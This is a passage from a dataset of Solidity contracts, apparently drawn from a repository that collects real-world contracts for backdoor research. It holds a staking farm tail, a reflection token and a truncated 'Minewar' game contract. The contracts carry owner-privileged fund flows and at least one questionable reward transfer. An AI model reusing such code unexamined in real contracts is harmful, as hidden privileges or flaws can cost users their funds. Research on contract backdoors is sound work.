user.rewardDebt = user.amount * pool.earnTokenPerShare / 1e12;
emit Withdraw(_msgSender(), _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_msgSender()];
uint256 amount = user.amount;
// Make sure that user have available amount
require(amount > 0, "User amount not enough");
// Cannot withdraw more than pool's staked
require(pool.totalStakedToken >= amount, "Pool total not enough");
// Cannot withdraw more than pool's balance
require(stakeToken.balanceOf(address(this)) >= amount, "Pool balance not enough");
user.amount = 0;
user.rewardDebt = 0;
if (totalLockedUpRewards >= user.rewardLockedUp) {
totalLockedUpRewards -= user.rewardLockedUp;
}
user.rewardLockedUp = 0;
user.nextHarvestUntil = 0;
pool.totalStakedToken -= amount;
stakeToken.safeTransfer(_msgSender(), amount);
emit EmergencyWithdraw(_msgSender(), _pid, amount);
}
// Calculate the benefits that users can earned and than handle the transfer.
function payOrLockPendingRewards(uint256 _pid) internal {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_msgSender()];
if (user.nextHarvestUntil == 0) {
user.nextHarvestUntil = block.timestamp + pool.harvestInterval;
}
uint256 pending = user.amount * pool.earnTokenPerShare / 1e12 - user.rewardDebt;
if (canHarvest(_pid, _msgSender())) {
if (pending > 0 || user.rewardLockedUp > 0) {
uint256 totalRewards = pending + user.rewardLockedUp;
totalLockedUpRewards -= user.rewardLockedUp;
user.rewardLockedUp = 0;
user.nextHarvestUntil = block.timestamp + pool.harvestInterval;
pool.lpToken.safeTransfer(_msgSender(), totalRewards);
}
} else if (pending > 0) {
user.rewardLockedUp += pending;
totalLockedUpRewards += pending;
emit RewardLockedUp(_msgSender(), _pid, pending);
}
}
// Add a new lp to the pool. Can only be called by the owner.
// The same LP token can only have one corresponding mining pool.
function add(IERC20 _lpToken,
uint256 _outputTime,
uint256 _harvestInterval,
bool _withUpdate) public onlyOwner {
require(_harvestInterval <= MAXIMUM_HARVEST_INTERVAL, "Harvest interval too high");
if (_withUpdate) massUpdatePools();
uint256 lastRewardTime = block.timestamp > startTime
? block.timestamp
: startTime;
poolInfo.push(PoolInfo({
lpToken: _lpToken,
outputTime: _outputTime,
lastRewardTime: lastRewardTime,
harvestInterval: _harvestInterval,
earnTokenPerShare: 0,
totalStakedToken: 0,
status: true
}));
}
// Update the given pool's output time and harvest interval.
function set(uint256 _pid,
uint256 _outputTime,
uint256 _harvestInterval,
bool _status,
bool _withUpdate) public onlyOwner {
require(_harvestInterval <= MAXIMUM_HARVEST_INTERVAL, "Harvest interval too high");
if (_withUpdate) massUpdatePools();
poolInfo[_pid].outputTime = _outputTime;
poolInfo[_pid].harvestInterval = _harvestInterval;
poolInfo[_pid].status = _status;
}
// Set farming start, only can be call once
function startFarming() public onlyOwner {
require(block.timestamp < startTime, "Farm started already");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
poolInfo[pid].lastRewardTime = block.timestamp;
}
startTime = block.timestamp;
}
}
| 172,255 | 14,108 |
a0eb4d32b8de2ee8bbf08df4750825f39fdd2488082fcc20f7a6542d73a44b69
| 28,871 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x9CF25662A77a07E93973af693F3fFbC0fe034E1d/contract.sol
| 5,084 | 18,184 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ADRToken is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'Andromeda';
string private constant _SYMBOL = 'ADR';
uint8 private constant _DECIMALS = 8;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 100000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 200;
uint256 private constant _BURN_FEE = 100;
uint256 private constant _MAX_TX_SIZE = 100000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 249,944 | 14,109 |
02505b62126fb1d8f2fa9e4d8ca3ad14026865d0db570601f1cbbb0424fb982e
| 23,046 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x4a184673b7247ea15227d8f738a0627e0b17d72a.sol
| 6,082 | 22,061 |
pragma solidity ^0.4.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract Minewar {
uint256 round = 0;
uint256 public deadline;
uint256 public CRTSTAL_MINING_PERIOD = 86400;
uint256 public SHARE_CRYSTAL = 10 * CRTSTAL_MINING_PERIOD;
uint256 public HALF_TIME = 12 hours;
uint256 public ROUND_TIME = 7 days;
uint256 BASE_PRICE = 0.005 ether;
uint256 RANK_LIST_LIMIT = 1000;
//miner info
mapping(uint256 => MinerData) private minerData;
uint256 private numberOfMiners;
// plyer info
mapping(address => PlyerData) private players;
//booster info
uint256 private numberOfBoosts;
mapping(uint256 => BoostData) private boostData;
//order info
uint256 private numberOfOrders;
mapping(uint256 => BuyOrderData) private buyOrderData;
mapping(uint256 => SellOrderData) private sellOrderData;
uint256 private numberOfRank;
address[21] rankList;
address public sponsor;
uint256 public sponsorLevel;
address public administrator;
struct PlyerData {
uint256 round;
mapping(uint256 => uint256) minerCount;
uint256 hashrate;
uint256 crystals;
uint256 lastUpdateTime;
}
struct MinerData {
uint256 basePrice;
uint256 baseProduct;
uint256 limit;
}
struct BoostData {
address owner;
uint256 boostRate;
uint256 startingLevel;
uint256 startingTime;
uint256 halfLife;
}
struct BuyOrderData {
address owner;
string title;
string description;
uint256 unitPrice;
uint256 amount;
}
struct SellOrderData {
address owner;
string title;
string description;
uint256 unitPrice;
uint256 amount;
}
function Minewar() public
{
administrator = msg.sender;
numberOfMiners = 8;
numberOfBoosts = 5;
numberOfOrders = 5;
numberOfRank = 21;
//init miner data
// price, prod. limit
minerData[0] = MinerData(10, 10, 10); //lv1
minerData[1] = MinerData(100, 200, 2); //lv2
minerData[2] = MinerData(400, 800, 4); //lv3
minerData[3] = MinerData(1600, 3200, 8); //lv4
minerData[4] = MinerData(6400, 12800, 16); //lv5
minerData[5] = MinerData(25600, 51200, 32); //lv6
minerData[6] = MinerData(204800, 409600, 64); //lv7
minerData[7] = MinerData(1638400, 1638400, 65536); //lv8
startNewRound();
}
function startNewRound() private
{
deadline = SafeMath.add(now, ROUND_TIME);
round = SafeMath.add(round, 1);
initData();
}
function initData() private
{
sponsor = administrator;
sponsorLevel = 5;
//init booster data
boostData[0] = BoostData(0, 150, 1, now, HALF_TIME);
boostData[1] = BoostData(0, 175, 1, now, HALF_TIME);
boostData[2] = BoostData(0, 200, 1, now, HALF_TIME);
boostData[3] = BoostData(0, 225, 1, now, HALF_TIME);
boostData[4] = BoostData(msg.sender, 250, 2, now, HALF_TIME);
//init order data
uint256 idx;
for (idx = 0; idx < numberOfOrders; idx++) {
buyOrderData[idx] = BuyOrderData(0, "title", "description", 0, 0);
sellOrderData[idx] = SellOrderData(0, "title", "description", 0, 0);
}
for (idx = 0; idx < numberOfRank; idx++) {
rankList[idx] = 0;
}
}
function lottery() public
{
require(now >= deadline);
uint256 balance = SafeMath.div(SafeMath.mul(this.balance, 90), 100);
administrator.transfer(SafeMath.div(SafeMath.mul(this.balance, 5), 100));
uint8[10] memory profit = [30,20,10,8,7,5,5,5,5,5];
for(uint256 idx = 0; idx < 10; idx++){
if(rankList[idx] != 0){
rankList[idx].transfer(SafeMath.div(SafeMath.mul(balance,profit[idx]),100));
}
}
startNewRound();
}
function getRankList() public view returns(address[21])
{
return rankList;
}
//sponser
function becomeSponsor() public payable
{
require(now <= deadline);
require(msg.value >= getSponsorFee());
sponsor.transfer(getCurrentPrice(sponsorLevel));
sponsor = msg.sender;
sponsorLevel = SafeMath.add(sponsorLevel, 1);
}
function getSponsorFee() public view returns(uint256 sponsorFee)
{
sponsorFee = getCurrentPrice(SafeMath.add(sponsorLevel, 1));
}
//--------------------------------------------------------------------------
// Miner
//--------------------------------------------------------------------------
function getFreeMiner(address ref) public
{
require(now <= deadline);
PlyerData storage p = players[msg.sender];
require(p.round != round);
//reset player data
if(p.hashrate > 0){
for (uint idx = 1; idx < numberOfMiners; idx++) {
p.minerCount[idx] = 0;
}
}
p.crystals = 0;
p.round = round;
//free miner
p.lastUpdateTime = now;
p.minerCount[0] = 1;
MinerData storage m0 = minerData[0];
p.hashrate = m0.baseProduct;
//send referral
if (ref != msg.sender) {
PlyerData storage referral = players[ref];
if(referral.round == round){
p.crystals = SafeMath.add(p.crystals, SHARE_CRYSTAL);
referral.crystals = SafeMath.add(referral.crystals, SHARE_CRYSTAL);
}
}
}
function buyMiner(uint256[] minerNumbers) public
{
require(now <= deadline);
require(players[msg.sender].round == round);
require(minerNumbers.length == numberOfMiners);
uint256 minerIdx = 0;
MinerData memory m;
for (; minerIdx < numberOfMiners; minerIdx++) {
m = minerData[minerIdx];
if(minerNumbers[minerIdx] > m.limit || minerNumbers[minerIdx] < 0){
revert();
}
}
updateCrytal(msg.sender);
PlyerData storage p = players[msg.sender];
uint256 price = 0;
uint256 minerNumber = 0;
for (minerIdx = 0; minerIdx < numberOfMiners; minerIdx++) {
minerNumber = minerNumbers[minerIdx];
if (minerNumber > 0) {
m = minerData[minerIdx];
price = SafeMath.add(price, SafeMath.mul(m.basePrice, minerNumber));
}
}
price = SafeMath.mul(price, CRTSTAL_MINING_PERIOD);
if(p.crystals < price){
revert();
}
for (minerIdx = 0; minerIdx < numberOfMiners; minerIdx++) {
minerNumber = minerNumbers[minerIdx];
if (minerNumber > 0) {
m = minerData[minerIdx];
p.minerCount[minerIdx] = SafeMath.min(m.limit, SafeMath.add(p.minerCount[minerIdx], minerNumber));
}
}
p.crystals = SafeMath.sub(p.crystals, price);
updateHashrate(msg.sender);
}
function getPlayerData(address addr) public view returns (uint256 crystals, uint256 lastupdate, uint256 hashratePerDay,
uint256[8] miners, uint256 hasBoost)
{
PlyerData storage p = players[addr];
if(p.round != round){
p = players[0];
}
crystals = SafeMath.div(p.crystals, CRTSTAL_MINING_PERIOD);
lastupdate = p.lastUpdateTime;
hashratePerDay = p.hashrate;
uint256 i = 0;
for(i = 0; i < numberOfMiners; i++)
{
miners[i] = p.minerCount[i];
}
hasBoost = hasBooster(addr);
}
function getHashratePerDay(address minerAddr) public view returns (uint256 personalProduction)
{
PlyerData storage p = players[minerAddr];
personalProduction = p.hashrate;
uint256 boosterIdx = hasBooster(minerAddr);
if (boosterIdx != 999) {
BoostData storage b = boostData[boosterIdx];
personalProduction = SafeMath.div(SafeMath.mul(personalProduction, b.boostRate), 100);
}
}
//--------------------------------------------------------------------------
// BOOSTER
//--------------------------------------------------------------------------
function buyBooster(uint256 idx) public payable
{
require(now <= deadline);
require(players[msg.sender].round == round);
require(idx < numberOfBoosts);
BoostData storage b = boostData[idx];
if(msg.value < getBoosterPrice(idx) || msg.sender == b.owner){
revert();
}
address beneficiary = b.owner;
sponsor.transfer(devFee(getBoosterPrice(idx)));
beneficiary.transfer(getBoosterPrice(idx) / 2);
updateCrytal(msg.sender);
updateCrytal(beneficiary);
uint256 level = getCurrentLevel(b.startingLevel, b.startingTime, b.halfLife);
b.startingLevel = SafeMath.add(level, 1);
b.startingTime = now;
// transfer ownership
b.owner = msg.sender;
}
function getBoosterData(uint256 idx) public view returns (address owner,uint256 boostRate, uint256 startingLevel,
uint256 startingTime, uint256 currentPrice, uint256 halfLife)
{
require(idx < numberOfBoosts);
owner = boostData[idx].owner;
boostRate = boostData[idx].boostRate;
startingLevel = boostData[idx].startingLevel;
startingTime = boostData[idx].startingTime;
currentPrice = getBoosterPrice(idx);
halfLife = boostData[idx].halfLife;
}
function getBoosterPrice(uint256 index) public view returns (uint256)
{
BoostData storage booster = boostData[index];
return getCurrentPrice(getCurrentLevel(booster.startingLevel, booster.startingTime, booster.halfLife));
}
function hasBooster(address addr) public view returns (uint256 boostIdx)
{
boostIdx = 999;
for(uint256 i = 0; i < numberOfBoosts; i++){
uint256 revert_i = numberOfBoosts - i - 1;
if(boostData[revert_i].owner == addr){
boostIdx = revert_i;
break;
}
}
}
//--------------------------------------------------------------------------
// Market
//--------------------------------------------------------------------------
function buyCrystalDemand(uint256 amount, uint256 unitPrice,string title, string description) public payable
{
require(now <= deadline);
require(players[msg.sender].round == round);
require(unitPrice > 0);
require(amount >= 1000);
require(amount * unitPrice <= msg.value);
uint256 lowestIdx = getLowestUnitPriceIdxFromBuy();
BuyOrderData storage o = buyOrderData[lowestIdx];
if(o.amount > 10 && unitPrice <= o.unitPrice){
revert();
}
uint256 balance = SafeMath.mul(o.amount, o.unitPrice);
if (o.owner != 0){
o.owner.transfer(balance);
}
o.owner = msg.sender;
o.unitPrice = unitPrice;
o.title = title;
o.description = description;
o.amount = amount;
}
function sellCrystal(uint256 amount, uint256 index) public
{
require(now <= deadline);
require(players[msg.sender].round == round);
require(index < numberOfOrders);
require(amount > 0);
BuyOrderData storage o = buyOrderData[index];
require(amount <= o.amount);
updateCrytal(msg.sender);
PlyerData storage seller = players[msg.sender];
PlyerData storage buyer = players[o.owner];
require(seller.crystals >= amount * CRTSTAL_MINING_PERIOD);
uint256 price = SafeMath.mul(amount, o.unitPrice);
uint256 fee = devFee(price);
sponsor.transfer(fee);
administrator.transfer(fee);
buyer.crystals = SafeMath.add(buyer.crystals, amount * CRTSTAL_MINING_PERIOD);
seller.crystals = SafeMath.sub(seller.crystals, amount * CRTSTAL_MINING_PERIOD);
o.amount = SafeMath.sub(o.amount, amount);
msg.sender.transfer(SafeMath.div(price, 2));
}
function withdrawBuyDemand(uint256 index) public
{
require(now <= deadline);
require(index < numberOfOrders);
require(players[msg.sender].round == round);
BuyOrderData storage o = buyOrderData[index];
require(o.owner == msg.sender);
if(o.amount > 0){
uint256 balance = SafeMath.mul(o.amount, o.unitPrice);
o.owner.transfer(balance);
}
o.unitPrice = 0;
o.amount = 0;
o.title = "title";
o.description = "description";
o.owner = 0;
}
function getBuyDemand(uint256 index) public view returns(address owner, string title, string description,
uint256 amount, uint256 unitPrice)
{
require(index < numberOfOrders);
BuyOrderData storage o = buyOrderData[index];
owner = o.owner;
title = o.title;
description = o.description;
amount = o.amount;
unitPrice = o.unitPrice;
}
function getLowestUnitPriceIdxFromBuy() public returns(uint256 lowestIdx)
{
uint256 lowestPrice = 2**256 - 1;
for (uint256 idx = 0; idx < numberOfOrders; idx++) {
BuyOrderData storage o = buyOrderData[idx];
//if empty
if (o.unitPrice == 0 || o.amount < 10) {
return idx;
}else if (o.unitPrice < lowestPrice) {
lowestPrice = o.unitPrice;
lowestIdx = idx;
}
}
}
//-------------------------Sell-----------------------------
function sellCrystalDemand(uint256 amount, uint256 unitPrice, string title, string description) public
{
require(now <= deadline);
require(players[msg.sender].round == round);
require(amount >= 1000);
require(unitPrice > 0);
updateCrytal(msg.sender);
PlyerData storage seller = players[msg.sender];
if(seller.crystals < amount * CRTSTAL_MINING_PERIOD){
revert();
}
uint256 highestIdx = getHighestUnitPriceIdxFromSell();
SellOrderData storage o = sellOrderData[highestIdx];
if(o.amount > 10 && unitPrice >= o.unitPrice){
revert();
}
if (o.owner != 0){
PlyerData storage prev = players[o.owner];
prev.crystals = SafeMath.add(prev.crystals, o.amount * CRTSTAL_MINING_PERIOD);
}
o.owner = msg.sender;
o.unitPrice = unitPrice;
o.title = title;
o.description = description;
o.amount = amount;
//sub crystals
seller.crystals = SafeMath.sub(seller.crystals, amount * CRTSTAL_MINING_PERIOD);
}
function buyCrystal(uint256 amount, uint256 index) public payable
{
require(now <= deadline);
require(players[msg.sender].round == round);
require(index < numberOfOrders);
require(amount > 0);
SellOrderData storage o = sellOrderData[index];
require(amount <= o.amount);
require(msg.value >= amount * o.unitPrice);
PlyerData storage buyer = players[msg.sender];
uint256 price = SafeMath.mul(amount, o.unitPrice);
uint256 fee = devFee(price);
sponsor.transfer(fee);
administrator.transfer(fee);
buyer.crystals = SafeMath.add(buyer.crystals, amount * CRTSTAL_MINING_PERIOD);
